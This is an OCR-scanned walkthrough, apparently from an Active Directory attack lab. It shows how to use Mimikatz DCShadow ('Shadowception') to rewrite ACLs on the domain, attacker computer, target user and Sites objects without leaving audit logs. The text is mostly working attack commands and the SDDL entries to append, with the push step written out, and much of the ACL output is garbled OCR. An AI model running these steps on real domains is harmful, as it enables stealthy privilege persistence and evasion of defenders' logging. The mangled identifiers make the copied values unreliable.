E ]
E g
%] g
5 a .
For special permissions or advanced settings, click Rvoced
Advanced
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Very Interesting Thing

We Can run DCShadow From DCShadow ( Shadowception )
That without leaving logs &

Before we Mentioned the Set-DCShadowPermissions with minimal permissions but there is a
problem

e ( leaves logs when we changed the ACL for Domain object or Site object )
So How Do we avoid leaving that logs?
if we set that permission By using ShadowCeption &
« We need to append following ACEs with out user’s SID at the end :
o On the Domain Object :
= (0A;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
= (0A;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;; UserSID )
= (0A;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
o On the Attacker Computer object
w (A;;wP;;;usersip) , WP QWriteProbirty
o On the target user object
= (A;;WP;;;UserSID)
o On the sites object in Configuration Container

= (A;cl;cenc;;;usersip) , CCDC —Create Child , Delete Child.

# Read the current ACL of the domain Controller:
(New-ObjectSystem.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=1local")).psbase.ObjectSecurity.sddl

PS C:\Users\studentlB mcorp> (New- Object System D1rectoryserv1ces DirectoryEntry( )).psbase. Ob]ectsecur1ty sd

I(A; WD H A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; 5 5 SY) (A; CI; CCLCSWRPWPLOCRSDRCWDW BA) (A;; RPRC RU)(A CEECHERY)
(A CCLCSWRPWPLOCRRCWDWO, ;DA) (A; CI CCDCLCSWRPWPDTLOCRSDRCWDWO FEsl= 1-560323961-. ’032/68/5’—24’51)4131 519) (0A; CII0;SW;9b026da6- Od:c 465( 8bee- 5199d/165(b§
A 286-0de6-11d0-a285~ OO:\:\00304952.C0)(0A,,CR 1131f6ac-9c07-11d1-F79F-00c04Fc2dcd?2; ; ED) (OA; ; CR; 1131F6ae-9c07-11d1-F79F-00c04Fc2dcd?; ; ED) (0A; ; CR; 89€95b76-44
4d-4c62-991a-0facheda640c D) (OA; CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983T608;bf967a86-0de6-11d0-a285-00aa003049¢e2; ED) (0A; CIIO;RP;b7c69e6d-2cc7 lld1 -854e-00a,
0c9831608;bT967a9c-0de6-11d0-a285- 0023003049e2,ED)(0 I b7c69e6d-2cc7-11d2-854e- 00a0c983f608;bf967aba-0de6-. 11d0-2285- 0033003049e2 ED) (0A; ;CR;1131f6aa-9c
07-11d1-F79f- 00c04fc2dcd2; ; ED) (0A; ; CR; 1131f6ab-9c0 1d1-f79f-00c04fc2dcd2; ; ED) (O, IIO;WP; ealb7b93-5e48-46d5-bc6e- 4df4fda78a35;bf96 86-0de6-11d0-a285-00aa00
304952,?5)(0A CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cha;bf967a86-0de6-11d0-a285- 003300304992 PS) (OA; CIIO;RPWPCR;91e647de— d96f b70-9557-d63ff4f3ccds s) (0

;CI;RPWP;3f78c3e5-f79a-46bd-a0bs~—: 9d18116ddc79,,ps)(0A,,CR 5:74c5e 4deb-43b4-bdoT-86664c2a77d5; ; AU) (OA; ; CR; 2807369c—67c7-438e-2e98-1d4673c67541 AU)(OA ;
; 31f 11d1-£79F-00c04fc2dcd2; ;BA) (0A; ; CR; 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2; ; BA) (OA

991a-0facbeda640c; ;BA) (0A; ; C ulfsac 9:0/ 11d1 f79f 00co-u=c2d d A) (OA; ; CR:1131F622-9¢07-11d1-F79F-00c04Fc2dcd2; ; BA) (0A; ; CR+ 1131F6ab— 9:0/ lldl £79f

C
700c04fc’dcd2,,BA)(OA CIIO;LCR| 14828cc14-1437-45bc-9b07-ad6F015e5F28 RU) (OA; CIIO: LCRPLORC; ; bf967a9¢c-0de6-11d0-a285-00a2003049¢2; RU) (OA; CIIO; LCRPLORC; ;bF9
FELER 6-11d0-a285-00aa0 04952,RU)(0A CIIO;RP;5F20R010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6T015e5F28;RU) (0A; CIIO;RP;bCOaC240—7939—lld0 9
020-00c © 437-45bc-9b07-ad6t015e5F2 U) (0A; CIIO 4c164200-20c0-11d0-a768-002a006€0529; bT967aba-0de6-11d0-2285-00aa003049¢2; ;RU) (0A; CIIO
59ba2f42- 7 HLGH 2 11d0-9020-00c04fc2d4cf; bf96/aba70de6 do-ai SS OOaaOOJO
49e2 q : 9 7 2a36dc9-ael7- -47¢3-b58b-be

560:23961 2032768757 24251341:1 0A; i DD) (0. B
-2425134131-522) (OA; CI;RPWP; 5b47d60T-6090~ ~40b2-9f37- 224de88f3063; ;S-1-5-21-560323961- ’03’/68 57-2425134
l)l 526) (OA; CI;RPWP; 5b4/d60f 6090-40b2-9f37-2a4de883063; ;S-1-5-21-560323961-2032768757-2425134131-527)
ps c: \Users\studentls mcorp>

This is ACL for Domain Controller .

On the Mimikatz:

lsadump: :dcshadow /stack /object:DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<ACL_FOR_DC>

In the < AC_FOR_DC > we Add our User SID in Domain Object Like this
(0A; ;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
(0A; ;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;; UserSID )

(OA; ;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
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Inimikatz # lsadump::dcshadow /stack /object:DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:0:BAG:B RP; ; ;WD) (A;  LCRPLORC; ; ; ED) RC; 5 3AU) (A3 3CCD
(CLCSWRPWPDTLOCRSDRCHDWO; ; 5SY ) 8; CT; CCLCSWRPWPLOCRSDRCWDWO; 5 3 BA) (. : A;CT;LC; 5 5RU) (A; ; CCLCSWRPWPLOCRRC 5 C1; CCDCLCSHRPWPDTLOCRSDRCWDHO; ; 5S-1-5-21-5603239
61-2032768757- 2425134131519 ) (OA; CTT0; SW; 9b626da6-0d3c-465¢ - 8bee-5199d7165cha; 2 :
CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2; ;ED) (OA; ;CR;1131f6aa-9¢c07- dl f7‘1'F BQCBJ'F( d(dZ H ) ( - 91a-0facbedab40c
-854e-0020c983F608; bf967aba-0de6-11d0-a285-002a003049e2; ED) ;CII0;RP;b7c69e6d-2cc7-11d2-8542-00a0C983
( 9b826da6-0d3c-465¢
lodes - 11de-a285-0022003049e2; PS) (OA; CIIO0; RPWPCR; 91e647de-d96F 4b7e—9557—d63ff4f3ccd8;,PS)(OA;CIIO,HP;ealb/ 5e48-46d5-bc6c-4dfafda78a3s; bfo67a86-0de6-
2;PS) (0A;CI;RPWP; 3F78¢3e5-F79a- Acbd 20b8-9d18116ddc79; ;PS) (0A; ; CR;@5c74c5e-4deb-43b4-bdof-86664c2a7d5 ; ;AU) (OA; ;CR; ccc2dc7d-abad-4a7a-8846-co4e3cc
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2; ;BA) (0A; ;CR; 1131F6ae-9c07-11d1-F79F-00c04Fc2dcd2; ;BA)

A3 3CR;1131F6ab-9c07- 11a -f 0ce4fc2dcd2; ;BA) (OA; ; CR; 1131F6aa-9c07-11d1-F79F-00c04fc2dcd2; ;BA) (OA; ; CR; 89e95b7 91a-@facbeda64dc; ;BA) (OA; CII0; LCRPLORC
 ;bF967aba-6des-11d0-2285-002a00364922; RU) (0A; CITO; LCRPLORC; ; bF967a5¢ -0de6 - 11d0- 2285-80aa80304982; RU) (0A; CLIO; LCRPLORC; ;4828 c14~1437-45bc-9b87-ad67615e528; RU) (0A; CTIO; RP;
c164200-20c0-11d0-a768-00aa006e0529 ; bf967aba-0de6-11d0-a285-00aa003049e2;RU) (OA; CIIO; RP; 5£202010-79a5-11d0-9020-00c04f c2ddc ; 4828cc14-1437-45bc -9b07 -ad6Fo15e5F28 5 RU) (OA; CT
10; RP; 5£202010-79a5-11de-9020-00c@4f c2d4c ; bF967aba-0de6-11d0-a285-00aa003049e2; RU) (OA; CII0; RP; 59ba2f42-79a2-11d0-9020-00C04FC2d3C F; 4828cC14-1437-45bc-9b07 -ad6F015e5F28; RU)

iCLI0;RP;037088f8-0ael-11d2-b422-00a0c 968939, b967aba-0de6-11d0-2285-0022003040e

61%&5?2\5 RU) ;CR;e2a36dc9-ael7-47c3-b58b-be34c55ba633 ( 5113 9¢e’ 11d1*1‘79f’69c84f4‘2dcd2;;5—1— —21—566 3961-2 6327687 2425134131—498) A;;CR;11

f6ad-9c07-11d1-f79f-00c04fc2dcd2; ;DD) (0A; ;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99%9a3e; ;S-1-5-21-5603 ) (OA;CI;RPWP;5b47d60f-6090-40b2-9F37-2a4de8
(5663 $-1-5-21-560323961-2032768757-2425134131-526) (OA; CI;RPWP;5b47d60f-60908-40b2-9F AéJdeoBfl!eb:,,g e 5b9“"961 2032768757-2425134131-527) (0A; ;CR;1131f6ac-968H-11
d1-f79f-00c04fc2dcd?; ; SHISSEDI=560323061=2032768757=2425084080=0027 ) (0A; ;CR;9923a32a 48687 - 11d2-bobe-000087a36b2 ; ; SHAES=R1=560323061=2032768757=24250342830=0127) (0A; ;CR;1131
[f6ab-9687-11d1-f79f- eece-lf“dcd‘,,s 1-5-21-560323961-2032768757-2425134131-1127)

And now Get the ACL for Attacker machine in our example studenti3

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=mcorp-student13,CN=Computers,DC=moneycorp,DC=1local")).psbase.0b

PS C:\Users\studentl3.mcorp> (New-Object System.DirectoryServices.Directoryentry( )) .psbase.objec

CCDCLCSWRPWPDTLOCRSDRCWDWO ; 5SY) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; AO)
;DA (A; LCRPWPLOCRRC; ; ;S-1-5-21-560323961-2032768757-2425134131-1104) (A: ;

34131-1127) (0A; ; CR; ab721a53-1e2f-11d0-9819-002a0040529b ; ; WD) (OA; ; SW; F3264788-5306-11d1-a9c5-0000f80367C1; ; PS) (OA; ;RPWP; 77b5b:
5) (0A; ;5W; 72€39547-7b18-11d1-adef-00c04fd8d5cds; ; PS) (OA; ; CCDC; bF967aa8-0de6-11d0-a285-00aa003049¢e2; ; ;RP;46a9b11d-60ae-405a-b7e8-Ff8a58d456d2; ;S-
60) (0A: ;RPWP; b967a7f-0de6-11d0-a285-00a2003049e2; ; CA) (OA; ; SW; F3a64788-5306-11d1-a9c5-000080367c1} ;S-1-5-21-560323961-2032768757-2425134131-1104) (OA; ; WP; o1
4200-20C0-1100-2768-0022006€0529 ; ; S-1-5-21-560323961-2032768757-2425134131-1104) (0A; ; SW; 72€39547-7b18-11d1-adef-00c04fd8d5cd; ; S-1-5-21-560323961-2032768757-24
25134131-1104) (OA; ; WP; 3e0abfd0-126a-11d0-a060-00aa006c 33ed; bf957ase 0de6-11d0-a285-00aa003049e2; S-1-5-21-560323961 3 68/57 2425134131-1104) (OA; ;WP; bT967953

: f967ass 0de6-11d0-a285-0022003049¢2; S-1-5-21-560323961-2032768757~ 2425154131~ 1104)( 7967950-0de6-11d0-a285~ 00aaoo;o4ee

S-1-5-21-560323961-2032768757-2425134131-1104) (0A; ; WP; 5F202010-79a5-.
049ez;5»1—5-21-560323961—2032765757 2425134131»1104)(OA;cxxoxn;RP;4c164200-20co—11d0»a7ss-00aaoose0529;4325cc14-143/»4sbc-9bo7—ad6f015esfzs;Ru)(OA;CIIDID;RP;4
c164200-20c0-11d0-2768-002a006€0529; bF967aba-0de6-11d0-a285-00aa003049e2;RU) (OA; CIIOID; RP; 5F202010-79a5-11d0-9020-00c04Fc2d4cf; 4828ccl4-1437-45bc-9b07-ad6F015
5728 RU) (0A; CITOID; RP; bc0ac240-79a9-11d0- 9020-00c04fc2d4cf; 4828cc14- 1437-45bc-9b07-ad6T015e5F28;RU) (0A; CIIOID; RP; bcOac240-79a9-11d0-9020-00c04Fc2ddct; bF967ab
2-0de6-11d0-2285- ooaaoo3o49e2 RU) (OA; CT ; 59ba2f42-79a2-11d0-9020-00c04Fc2d3CT; 4828Cc14-1437-45bc-9b07-ad6T015e5728;RU) (0A; PWP; 5b47d607-6090-40b
£37-2a4de88F3063; ;S-1-5-21-560323961-2032768757-2425134131-526) (OA; CIID;RPWP; 5b47d60F-6090-40b2-9F37-2a4de88F3063; ; S-1-5-21 2032768757-2425134131-52
7)(0A:10;5w-9b0:edaa-0d3c—465c Z8bee-5199d7165cha; ; DA) (0A; CITOID; SW: 9b026da6-0d3c-465c-8bee-5199d7165cha; bF967a86-0de6-11d0-a285-00aa003049e2; CO) (0A; CIID; SW; 9b
026da6 0d3c-465c-8bee-5199d7165cba; bF967a86-0de6-11d0-a285-00aa003049e2; PS) (0A; CIID;RP; b7c69e6d-2cc7-11d2-854e-00a0c983F608 ;bF967286- 0de6-11d0-a28 Ooaa003049
2; ED) (0A; CIIOID; RP; b’c6956d 2cc7- 11d2- -854¢-00209837608;bT967a9¢-0dle6— i1d0-a2 285~ 003a00;049e ; ED) (0A; CTTOID; RP;b7c69e6d- ch/ -11d2

RU) (0A; CTTOID; LCRPLORC,,bf967a9c Z0de6-11d0-a285-00220030496. RU) (O RC; ; bf967aba-0de6-11d0-a285- 00aaooso49ez RU) (OA; CIID RPWP;
46bda008~ -9418116ddc79; ; PS) (0A; CIID; RPWPCR ; 91e647de-d96T-4b70- 955/ d6>ff4f3ccd8,,PS)(A C1ID; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; S-1-5-21-560323961-2032
768757-2425134131 519) (A; CIID; LC; ; ;RU) (A} CIID; CCLCSWRPWPLOCRSDRCWDWO
PS C:\Users\studentl3.mcorp> _

dcshadow /stack /object:mcorp-<UserName>$ /attribute:ntSecurityDescriptor /value:<ACL_FOR_Attacker>
lsadump: :dcshadow /stack /object:mcorp-student13$ /attribute:ntSecurityDescriptor /value:<ACL_FOR_Attacker>

In the < ACL_FOR_Attacker > we Add our User SID in Domain Object
Like this

(A; ;WP; ;;UserSID)

imikatz # lsadump::dcshadow /stack /object:mcorp-student13$ /attribute:ntSecurityDescriptor /value:0:DAG:DUD:AI(A;;CCDC;;;PS)(A;
40,,,SY)(A CCDCLCSWRPWPDTLOCRSDRCWDWO ; ) (A; 3WP;535-1-5-21-268341927-4156871508-1792461683-1213) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO
2032768757-2425134131-1104) (0A; ;CR;ab721a53-1e2f-11d0-9819-00aa8@40529b; ;WD) (OA; ; RPWP ; 77b5b886-944a-11d1-aebd-000080367¢1; ;PS) ( OA;;SH ; £3264788-5306-1
,,PS)(OA,,SH 72e39547-7b18-11d1-adef-00c04fd8d5cd; ;PS) (0A; ;CCDC;bf967aa8-0de6-11d0-a285-00aa003049e2; ;PO) (0A; ;RP;46a9b11d-60ae-405a-b7e8-Ff8a58d456d2; ;4
P;bf967a7f-@de6-11d0-2285-00aa803049e2; ;CA) (0A; ;SW;F3a64788-5306-11d1-a9c5-0008F80367¢1; ;S-1-5-21-560323961-2832768757-2425134131-1104) (0A; ;WP;4c164200
p6e0529; ;S-1-5-21-560323961-2032768757-2425134131-1104) (0A; ; SW; 72e39547-7b18-11d1- adef-00c@4fd8d5cd; ; S-1-5-21-560323961-2032768757-2425134131-1104) (0A;
p-2060-0022006C33ed;bf967a86-0de6-11d0-a285-00aa@@3049e2;S-1-5-21-560323961-2032768757-2425134131-1104) (0A; ;WP;bf967953-0de6-11d6-a285-00aa003049e2; bfol
p02a003049e2;5-1-5-21-560323961-2032768757-2425134131-1104) (0A; ;WP;bf967950-0de6-11d6-a285- 665569364992;bf967586 0de6-11d0-a285-00aa003049e2;5-1-5-21-54
425134131-1104) (0A; ;WP ;5F202018-79a5-11d0-9020-88c04fc2d4cf; bfI67a86-0de6-11d0-a285-80aa003049e2;S-1-5-21-560323961-2032768757-2425134131-1104) (0A;CIIO!
[1d0-a768-002a006e0529;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) (0A; CIIOID; R c164200-20c0-11d0-a768-002a006e0529;bf967aba-Bde6-11d8-a285-88aaBB83849e2 ;R
p10-79a5-11d0-9020-00ce4fc2d4ct;4828cc14-1437-45bc-9b07-ad6f@15e5F28;RU) (0A; CIIOID; RP; 5F202010-79a5-11de-9020-00c04fc2d4ct; bfo67aba-0de6-11d0-a285-00aad
D;RP;bcOac240-79a9-11d0-9020@-00c04fc2d4cf;4828cc14-1437-45bc-9b87-ad6f015e5F28; RU){*A CIIOID;RP;bcBac24@-79a9-11de-9020-00c04fc2d4cf;bfo67aba-0de6-11de
) (OA;CIIOID;RP;59ba2f42-79a2-11d6-9020-80c84fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) (OA;CIIOID;RP;59ba2f42-79a2-11de-9020-00c04fc2d3cf;bf967aba
p3049e2;RU) (0A; CIIOID;RP; 037088f8-0ael-11d2-b422-80a0c9681939;4828cc14-1437-45bc-9b07-ad6t015e528; RU)(OA CIIOID;RP;@3708818-Bael-11d2-b422-80a0Cc968193
2285-0022003049e2;RU) (OA; CIID;RPWP; 5b47d60F-6090-40b2-9f37-2a4de8813063; ;S-1-5-21-560323961-2032768757-2425134131-526) (0A; CIID; RPWP; 5b47d60-6090-40b2-
[1-5-21-560323961-2032768757-2425134131-527) (0A; ID; SW;9b826da6-0d3c-465c-8bee-5199d7165¢cba; ; DA) (OA; CIIOT W;9b@26da6-08d3c-465c-8bee-5199d7165chba; bf967a]
200304922 ;C0) (OA;CIID; SW; 9b@26da6-0d3c-465¢c-8bee-5199d7165cba;bfo67a86-0de6-11d0-a285- eeaaeeSedBel;PS)(OA;CIID;RP;b7569e6d-ch7-11d:-854e-eeaec985f668;
85-00aa@@3049e2; ED) (0A; CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9¢c-0de6-11de-a285-00aa@3049e2; ED) (OA; CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a
e6-11d0-a285-00aa003049e2;ED) (OA;CIID;WP; ealb7b93-5e48-46d5-bcbc-4df4fda78a35;bf967a86-0de6-11d0-a285-80aa80304922;PS) (0OA; CIIOID; LCRPLORC; ;4828¢cc14-143
28;RU) (0A;CIIOID;LCRPLORC; ; bf967a9¢c-0de6-11d0-a285-00aa003049e2;RU) (0A; CIIOID; LCRPLORC; ;bf967aba-0de6-11d0-a285-00aa0@3049e2;RU) (0A; CIID;RPWP; 3f78c3e5
[16ddc79; ;PS) (OA; CIID;RPWPCR; 91e647de-d96F-4b70-9557-d63Ff4f3cecd8; ; PS 3CIID;CCDCLCSWRPWPDTLOCRSDRCWDWO; ; 5S-1-5-21-568323961-2032768757-2425134131-519)
1D ; CCLCSWRPWPLOCRSDRCWDWO; ; ; BA ) (AP S=1=5=21=560323961=2032768757=2425134131=1127,)

And now Get the ACL for Target user in our example rootisuser

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=root13user,CN=Computers, DC=moneycorp,DC=1local")).psbase.ObjectS

lsadump:dcshadow /object:<targetUser> /attribute:ntSecurityDescriptor /value:<ACL_FOR_TargetUser>

In the < ACL_FOR_Target > we Add our User SID in Domain Object Like
this

(A; ;WP; ;;UserSID)
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imikatz # lsadumj dcshadow /stack /objec ootl3user /attribute:ntSecurityDescriptor /value A (A 3PS)(A;;RC;;5AU) (A; 5 CCDCLCSWRPWPDTLOCRSDRCWDWO; ;5 5SY)
(A5 ; CCDCLCSWRPPDTLOCRSDRCHDIOS 5 5 A0) (A; 3 CCDCLCSHRP! ‘PDTLOCRSRRCM‘DHD,..DA)(OA. CR;ab721a53-1e2f-11de-9819- aeaaaedes"-‘«b.,ArD)(oA.,PPLJP €45795b2-9455-11d1-aebd-0000F803 67¢1;;PS)
;RPWP;77b5b886-944a-11d1-aebd-0008f80367c1; ;PS) ( ;RPWP;e45795b3-9455-11d1-aebd-0000f80367c1; ;PS) (0A; ;CR;ab721a53-1e2f-11de-9819-00aa@840529b; ;PS) (0A; ;CR; ab721a54-1e2f
-11119-5819-09330946;’%1,,PS)(OA,,CP,ab 21a56-1e2f- 11d6-981°-96359640§"°b;;PS)(OA,, RP;59ba2f42-79a2-11d@-9020-80c04fc2d3cf; ;AU) (0A; ;RP;e48d0154-bcf8-11d1. 8702-60c6dfb96056;;
2 ;RP;77b5b886-944a-11d1-aebd-000080367c1; ;AU) (OA; ;RP;e45795b3-9455-11d1-aebd-0000f80367c1 ) OA; RP;46a9b11d-6@ae-405a-b7e8-ff8a58d456d2; ;S-1-5-32-568) (O RPWP;58
428-a5e2-856a0f4c185e;;S-1-5-32-561) (0A; ;RPWP;6db69alc-9422-11d1-aebd-0000f80367c1; ;S-1-5-32-561) (OA; ;RPWP;bf967a7f-0de6-11d0-a285-00aad0@3049e2; ;CA) (0A; ;RP;037
p88f8-0ael-11d2-b422-00a0c9681939 Rb\(OA RP bcaac249 79a9-11de-9020-80ce4fc2d4ct; ;RS) (0A; ;RP; 5?45"916 79a5-11d0-9020-00ce4fc2d4cf; ;RS) (0A; ;RP;4c164200-20c0-11d0-a768-00aa
pe6e0529; ;RS) (OA; CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) (0A; CIID; RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-
2285-0022003049e2;RU) (0A; CIIOID;RP;5f202018-79a5-11d0-90208-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f@15e5F28;RU) (OA; CIID;RP;5F202010-79a5-11d0-90208-00c@4fc2d4cf; bfo967aba-0d
26-11d0-a285-80aa003049e2;RU) (0A; CIIOID;RP;bc@ac248-79a9-11de-90208-00c04fc2d4ct;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) (0A; CIID;RP; bc@ac240-79a9-11d0-9020-00c04fc2ddcf;bfo
1de-a285-00aa003049e2;RU) (0A; CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) (0A; CIID; RP; 59ba2f42-79a2-11de-9020-00c04fc2
[3cf;bf967aba-0de6-11d8-a285-00aa803049e2;RU) (0A; CIIOID;RP;037088f8-0ael-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5F28;RU) ( CIID;RP;037088f8-0ael-11d2-b422-
2;RU) (OA; CIID;RPWP;5b47d60f-6090-40b2-937-2a4de883063;;S-1-5-21-560323961-2032768757-2425134131-526) (0A; CIID;RPWP;5b47d60f

—66“8 40b2 C'F37— a4de88f3863;,'S—1*5—Zl—568“Z3961f2632768757—2425134131—527"1(O CIIOID;SW;9b@26da6-0d3c-465c-8bee-5199d7165cha;bf967a86-0de6-11d0-a285-00aa@83049e2;C0) (O/
d7165cba; bf967a86-8de6-11d0-a285-00aa003049e2;PS) (0A; CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c9831608;bF967a86-0de6-11d0-a285-00aa003049e2
,ED) OA,CIIOID,RP,b/C@BEBd 2cc7-11d2-854e-00a0c983f608;bf967a9¢c-0de6-11d0-a285-00aa003049e2;ED) (0A; CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c9831608;bf967aba-0de6-11d8-a285-00aa
p03049e2;ED) (0OA; CIIOID;WP; ealb7b93-5e48-46d5-bc6c-4dfafda78a35;bf967a86-0de6-11d0-a285-00aa@@3049e2;PS) (0A; CIIOID; LCRPLORC; ;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU) (0A;CIIO
JID; LCRPLORC; ;bf967a9c-0de6-11de-a285-08aa083049e2;RU) (0A;CIID; LCRPLORC; ;bf967aba-0de6-11d0-a285-00aa@@3049e2;RU) (0A;CIID;RPWP;3f78c3e5-f79a-46bd-a8b8-9d18116ddc79; ;PS) (0A;C
ID;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8; ;PS) CIID;CCDCLCSWRPWPDTLOCRSDRCWDWO; ; 3S-1-5-21-560323961-2032768757-2425134131-519) (A;CIID;LC;;;RU) (A;CIID; CCLCSWRPWPLOCR

[SDRCWDWO; ; ;BA) (A; s WP; 5 5S-1-5-21-560323961-2032768757-2425134131-1127)

Finally Get ACL for Sites Object Configuration Container:

(New-Object System.DirectoryServices.DirectoryEntry("CN=Sites,CN=Configuration, DC=moneycorp,DC=1local")).pshase.ObjectSecurity.

lsadump:dcshadow /object:CN=Sites,CN=Configuration, DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<ACL_FOR_Sites

-1-5-21-560323961-2032768757-242513413

imikatz # lsadump::dcshadow /stack /object:CN=Sites,CN=Confhguration,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value
L-519G:5-1-5-21-560323961-2032768757-2425134131-519D: A1(A; ; LCRPLORC; ; ;AU) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; 3SY) (A; CI;CCDC; 5 5S-1-5-21-268341927-4156871508-1792461683-1213) (A; ;
CLCSWRPHPLOCRRCHDHO; ; 5 S-1-5-21-560323961- 2032768757 -2425134131-519) (A; CI; CCDC; ; ;S-1-5-21-560323961-2032768757 -2425134131-1104) (OA; CI10; SW; d31a8757-2447-4545-8081 - 3bb610cac

1-5-21-560323961-2032768757-2425134131-498) (A; CIID; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; 3 S-1-5-21-560323961-2032768757-2425134131-519) (A; C
1 1D; CCLCSHRPWPLOCRSDRCHDHO; ; ;DA) (AT CEDESSSS=I=5=21=560323961=2032768757=2425134131= 1127),

And Now push it .

# First Mimikatz
1lsadump:dcshadow

# Second Mimikatz With DA
lsadump: :dcshadow /push

moneycorp. local

Done 3.
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